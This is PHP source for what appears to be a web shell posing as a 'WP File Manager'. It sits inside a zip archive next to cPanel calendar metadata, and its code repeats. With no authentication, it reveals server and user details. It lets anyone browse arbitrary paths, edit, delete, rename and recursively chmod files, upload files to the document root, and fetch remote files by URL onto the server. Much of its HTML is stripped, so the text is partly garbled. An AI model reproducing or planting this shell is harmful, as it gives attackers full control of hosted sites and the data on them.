editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]"¬BBgpt1@drsupernova.com/.metadatanu„[µü¤[calendar] type VCALENDAR description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK“&{]„N9³§Ë§Ëgpt1@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

